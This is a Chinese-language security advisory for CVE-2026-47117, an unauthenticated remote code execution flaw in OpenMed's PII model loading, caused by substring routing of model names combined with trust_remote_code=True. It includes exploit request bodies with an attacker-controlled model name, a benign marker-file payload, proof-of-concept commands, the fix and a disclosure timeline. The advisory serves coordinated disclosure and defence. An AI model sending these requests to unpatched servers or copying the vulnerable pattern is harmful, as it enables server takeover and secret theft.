CVE-2026-47117：OpenMed 通过 PII 模型加载实现未认证远程代码执行

严重性： 严重，CVSS 4.0 9.3，CVSS 3.1 9.8（由 CNA 机构 VulnCheck 分配）

向量（v4.0）： CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

向量（v3.1）： CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

受影响版本： OpenMed < 1.5.2

修复版本： 1.5.2

CWE： CWE-94（代码生成控制不当，代码注入）

发现并报告者： Sai Teja Erukude

发布日期： 2026 年 6 月 2 日

---

摘要

OpenMed 1.5.2 之前的版本在 PII 隐私过滤器模型加载路径中存在未认证远程代码执行漏洞。

REST API 端点 POST /pii/extract 和 POST /pii/deidentify 接受来自请求体的 model_name 值。在受影响版本中，隐私过滤器调度器对该攻击者可控的值使用了宽泛的子字符串匹配。因此，诸如 attacker/foo-privacy-filter-bar 的模型名称可被路由至隐私过滤器后端。

在非 MLX/Torch 部署中，该后端通过 Transformers 以 trust_remote_code=True 加载 Hugging Face 模型工件。如果攻击者控制的模型仓库包含通过 config.json 或 tokenizer_config.json 中的 auto_map 引用的自定义 Transformers 代码，Transformers 将在模型或分词器加载期间导入并执行该 Python 代码。

被导入的代码以 OpenMed 服务进程的权限执行。

影响

能够访问 OpenMed REST API 的未认证远程攻击者，可通过在 model_name 中提供恶意的 Hugging Face 风格模型标识符，在服务器上执行任意 Python 代码。

根据服务部署情况，这可能允许：

• 读取或修改 OpenMed 进程可访问的文件。
• 访问环境变量和应用程序密钥。
• 调用可从 OpenMed 主机访问的内部服务。
• 干扰或替换应用程序行为。

受影响端点

该问题可通过两个 PII 端点触发，因为两者均接受 model_name 并使用相同的 PII 提取/模型加载路径：

POST /pii/extract
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}

POST /pii/deidentify
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}

技术细节

该存在漏洞的控制流有两处信任边界失效：

1. API 在选择隐私过滤器后端时，信任了用户提供的 model_name。
2. 所选后端通过以 trust_remote_code=True 加载 Transformers 工件，信任了远程模型仓库中的代码。

调度器将任何包含 privacy-filter 的模型标识符都视为隐私过滤器家族的一部分。这使得攻击者控制的标识符（例如 attacker/foo-privacy-filter-bar）能够进入原本为可信的第一方 Privacy Filter 模型预留的代码路径。

一旦被路由到该路径，Transformers 便可通过 auto_map 加载攻击者控制的自定义代码。此导入发生在模型/分词器加载期间，甚至在任何有用的推理成功之前。因此，一个概念验证载荷可以小到如下程度：

from pathlib import Path

Path("marker.txt").write_text(
    "custom Transformers code executed via trust_remote_code\n",
    encoding="utf-8",
)

概念验证

poc_exploit.py 会构建一个无害的本地 Hugging Face 风格模型目录，其名称中包含 privacy-filter。生成的定制 Transformers 模块在被导入时会写入一个标记文件。随后，该脚本会向一个测试 OpenMed API 实例发送请求，并将该目录作为 model_name。

在存在漏洞的 OpenMed 版本上，预期行为如下：

1. API 接受攻击者控制的 model_name。
2. 子串路由将其发送到 privacy-filter 后端。
3. 由于 trust_remote_code=True，Transformers 会导入生成的定制模块。
4. 标记文件被创建，证明在 OpenMed 服务进程中实现了代码执行。
5. 请求随后可能会失败，因为该玩具模型并非真正的 Privacy Filter 模型；导入时生成的标记才是相关证据。

仅针对本地测试实例运行：

pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract

如果 OpenMed 服务运行在无法访问所生成本地目录的位置，请将等效的测试模型发布到受控的 Hugging Face 仓库，并显式传入该标识符：

python poc_exploit.py \
  --target http://127.0.0.1:8000 \
  --model-name your-org/foo-privacy-filter-bar \
  --marker marker.txt

修复措施

升级到 OpenMed 1.5.2 或更高版本。

OpenMed 1.5.2 将路由与信任分离：

• 包含 privacy-filter 的任意仓库名称不再通过受信任的 privacy-filter 路径进行路由。
• PrivacyFilterTorchPipeline 将 trust_remote_code 默认设置为 False。
• 仅明确的第一方 Privacy Filter 仓库被列入允许列表，以进行受信任的远程代码加载。
• 需要受控私有微调的操作者可以通过 OPENMED_TRUSTED_REMOTE_CODE_MODELS 将其加入允许列表。

如果无法立即升级：

• 不要将存在漏洞的 REST API 暴露给不受信任的客户端。
• 不要将用户控制的 model_name 值以 trust_remote_code=True 传递给 Transformers。
• 将基于子字符串的模型路由替换为精确的受信任模型标识符。
• 在生产环境中预加载已批准的本地模型构件，并禁用任意模型下载。

披露时间线

日期	事件
2026 年 5 月 18 日	漏洞提交至 VulnCheck
2026 年 5 月 20 日	VulnCheck 启动协调披露外联
2026 年 5 月 22 日	CVE-2026-47117 临时分配
2026 年 6 月 1 日	OpenMed 1.5.2 修复经审查并确认
2026 年 6 月 2 日	CVE-2026-47117 发布

致谢

由 Sai Teja Erukude 发现并报告。

披露工作通过 VulnCheck 协调完成。

参考资料

• CVE 记录：https://www.cve.org/CVERecord?id=CVE-2026-47117
• NVD：https://nvd.nist.gov/vuln/detail/CVE-2026-47117
• VulnCheck 公告：https://www.vulncheck.com/advisories/openmed-remote-code-execution-via-pii-model-loading
• OpenMed 1.5.2 发布说明：https://github.com/maziyarpanahi/openmed/releases/tag/v1.5.2
• OpenMed 项目：https://github.com/maziyarpanahi/openmed